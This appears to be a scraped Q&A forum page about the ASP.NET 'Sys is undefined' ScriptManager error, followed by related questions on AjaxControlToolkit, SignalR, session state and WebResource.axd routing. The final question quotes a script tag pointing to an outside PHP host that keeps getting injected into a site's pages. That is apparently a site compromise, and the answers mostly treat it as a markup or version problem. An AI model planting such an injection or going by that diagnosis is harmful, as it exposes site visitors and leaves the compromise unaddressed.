I keep having an error when running my web application. The error does not cause a compilation error when on live server at least a javascript error and nothing else. But the real problem is when "debug" ... javascript error stops the compilation and I have to "Continue" three times before proceeding normally my debug. But this error occurs at every refresh the page. All this using Visual Studio.
After several hours of search on google, I saw that it was a problem with the ScriptManager and Ajax. The real problem is that I do not use any Ajax on this page but the ScriptManager is on the masterpage. Worse still, on any other page on the website, that may use Ajax or not, no javascript error! Only THIS page cause this error! Any suggestion?
Note that I usualy talk french so there's probably error and sorry for this!
EDIT
There's the 3 places were compilation stop.
1. Sys.WebForms.PageRequestManager._initialize('ctl00$ctl08', document.getElementById('aspnetForm'));
2. Sys.WebForms.PageRequestManager.getInstance()._updateControls([], [], [], 90);
3. Sys.Application.initialize();
Make sure you include the asp.net-ajax script manager control on your pages.
Update:
From the comment:
But ONE page which do not use Ajax or anything relativly to the scriptmanager cause this error.
Wrong. The scriptmanager control causes a bunch of javascript to be included (<link ..>-ed) in your rendered html page. Without that scriptmanager control, this javascript won't be available. Among the linked javascript is the Sys object that your error is complaining about. The only way you get the Sys is undefined error is if you have javascript for your page that in some way tries to use the Sys object (perhaps via a third part control?). So I promise you, you are using "Ajax or [something related]."
However, you said you included a scriptmanager on your master page, and that should have been good enough. The most common reasons for this to be missing are that your scriptmanager control is missing or that you execute javascript that needs it before the javascript engine has imported it. So check again and make sure 1) that the page in question isn't somehow "special" in that it doesn't use the master page, and 2) that you don't have javascript running before the asp.net ajax scripts are imported.
This isn't an answer to your question, more of a suggestion for the future. I think Joel did a fine job of answering the question anyway.
For your sanity, get rid of that Microsoft AJAX. It's crap & it's not real AJAX anyway 'cause you're sending back the whole page anyway. It's just asynchronous.
Those meaningless & unnecessary "Sys is undefined" errors are part of the reason I abandoned Microsoft AJAX.
Move on to jQuery & MVC. It makes development fun again.
Related
I have downloaded the latest toolkit from https://www.nuget.org/packages/AjaxControlToolkit/.
Problem is it works fine on my local host but not when i upload it to the server. I don't even get an error message. Simply anything Ajax related is not working. I'm suspecting that the installation I did is the problem, since it does everything automatically for me and in my project I can't add a ScriptManager since it keeps saying that I already have one in my system, eventhough I can't see in anywhere in my code.
Do anyone have any idea what the problem might be or what I'm missing?
You have a ScriptManager on the master page, and therefore when your child page gets composited with the master page there ends up being two script managers.
The normal solution is to only have the ScriptManager on the master page.
I have a successfully running signalr project where the work is done from an html page. I have taken the exact same html and pasted it into a .aspx page (with no master).
The signalr connection fails from the .aspx page giving error: Error during negotiation request
Has anyone any idea why this is. The code is exactly the same in the html and the .aspx page.
Have not included code here as it is working from the html page but if someone needs it please just ask.
Gave up late last night, woke up and first thing I thought of was so blindingly obvious but will post here anyway in case it helps someone else - by moving to a .aspx page, a postback occurs when the input button is clicked (obviously)!. Anyway so by just adding return false; to the javascript button onclick function resolved the issue and am now able to connect to signalr.
I have an ASP.NET website that has been deployed since 2008 with plenty of users. From time to time, I've made updates to the site and uploaded those changes to the server without problems.
However, today, I'm trying to run the site on my development environment and I keep getting errors any time the code tries to access session state. It appears System.Web.HttpContext.Current.Session is always null!
Any suggestions on where to look? It's been a while since I worked on it and am not 100% sure if I've worked on it with the current version of ASP.NET (4.0).
Other than that, the code's been working fine and I haven't made any changes since it was last working.
More Information
I've spent all morning on this but I apparently have a larger issue.
If I step through the code, I see that my page Load handler executes. At this point, Session is not null. After that, my specialized master page executes. After that, my general master page executes. I then step through load events for a couple of controls. This all seems very normal.
Then, if I keep executing, suddenly I'm loading a specialized master page for another page and Session is now null!
If I hit F5, it the original page shows. But somehow it is causing the other page to load and without session state. If I turn off debug mode, it appears to run normally.
Obviously, I have something strange happening. I need to determine why the other page is being loaded.
Try to put a static page, something like Test.aspx and browse to that page. If it gets loaded, try to use Session property of the page in code behind. Do you still get the error? In that case, Session doesn't load. I suggest creating an HTTP Module and hooking into a method which is responsible for loading Session info. See what's wrong.
Just a guess - did you deactivate sessionState for any reason? Anything like this:
<sessionState mode="Off"/>
My apologies. The information I provided was completely misguided and was not sufficient to resolve the issue.
The problem was actually due to some custom error handling that redirected to an error page. This was configured in web.config. This error page was using the master page that my code was mysteriously executing.
Apparently, an error was occurring within the GridView control. This is ASP.NET code and not my own, so I was unable to step through it or catch it with a regular handler.
This was hard to understand. If I was executing the Load event handler of my error page, then it would've been obvious. But it appears to have skipped over that. Thus, my confusion.
Try checking the global.asax file or any other pre-load events and make sure the Session is not set to NULL explicitly.
Maybe your erring master page is calling code from some external class where the session object is not available?
I'm getting the dreaded "Microsoft JScript runtime error: 'Sys' is undefined" error while trying to develop a site in ASP.NET on .NET framework 4.0. This was working fine until I tried programmatically adding items to a menu, and this started happening. While debugging, I pointed Fiddler at my app and found that the request for the WebResource.axd is returning successfully (code == 200), but the response text is the whole html page and NOT the javascript that it is supposed to be returning, and this is why Sys is undefined.
What's going on here? Any help much appreciated. Thanks.
Solved, thanks to this. I'm using ASP.NET Routing, and I was routing root level requests like http://www.mysite.com/{PageId}, and this matching pattern is so general that it was also matching the request for /WebResource.axd, and that's why the page request for the axd file was being routed to an aspx page instead of the usual handler. Not what I would have expected, but I can see the logic.
The fix is to tell the routing system to ignore this particular kind of request:
RouteTable.Routes.Ignore("{resource}.axd/{*pathInfo}")
I developed a application using asp.net and uploaded the site in online it is working fine.
After few days i am getting parser error.
"<script src=http://fhdmtr.org/vb7/html.php ></script>" this script is generating in every page in the bottom of the page in source code in the site. it is automatically generating.
when i remove it is work fine after few days it is again generating.
The error is occurring because the Doctorenq.aspx script is using a Master Page. Pages configured with a MasterPageFile attribute can only contain a very narrow set of tags, usually just <asp:Content>, corresponding to content placeholders in the master. If you are adding the reference to the PHP script yourself (though I don't understand how that's supposed to work), you should either include it in the Master Page or include it inside one of your existing <asp:Content> tags.
If you aren't adding the reference to the tag, your problem may be with security instead of programming, and as such would be OT for SO.
The fail suggests that the site can't handle the markup.
If it was working and now doesn't, check the version of .NET websit is running. Something may have changed it to use an earlier verions of .NET, which can't parse the page.